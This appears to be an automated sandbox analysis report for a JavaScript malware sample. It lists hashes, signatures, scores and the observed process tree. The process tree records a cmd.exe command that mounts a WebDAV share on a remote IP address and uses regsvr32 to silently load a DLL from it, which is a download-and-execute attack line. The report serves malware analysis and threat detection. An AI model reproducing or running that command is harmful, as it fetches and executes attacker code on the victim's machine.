Analysis
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max time kernel
117s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
22/07/2024, 09:20
Static task
static1
Behavioral task
behavioral1
Sample
2899613111076128558.js
Resource
win7-20240704-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
2899613111076128558.js
Resource
win10v2004-20240709-en
5 signatures
150 seconds
General
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Target
2899613111076128558.js
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Size
5KB
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MD5
08d4e94b463400ccce5bcc6069679125
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SHA1
b736d2f8f880e3222bd33c16f6c950f15770c049
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SHA256
8d2c0ee16400609b334fb145f3e11b622e44b4b522b1da18ee5e07e21884cd63
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SHA512
837c828ff3b982222181d1c5c4be47858664943053921e224033c19514188d3fb96e2556bc3331827ba501e7eb26dda198b63f0ba5b9a7d94c2dc7c1a3364956
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SSDEEP
48:kvAgIuqz41thcNveFYD4Fz6pqQyDpD4ecDenTFeR3260ey5QyDpDf0Qz6etqYsT6:SAruW2WeFaz2Ak1z2wfSBJE
Score
3/10
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2272 wrote to memory of 2236 2272 wscript.exe 30 PID 2272 wrote to memory of 2236 2272 wscript.exe 30 PID 2272 wrote to memory of 2236 2272 wscript.exe 30 PID 2236 wrote to memory of 2568 2236 cmd.exe 32 PID 2236 wrote to memory of 2568 2236 cmd.exe 32 PID 2236 wrote to memory of 2568 2236 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2899613111076128558.js1⤵
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\726686298279.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2568
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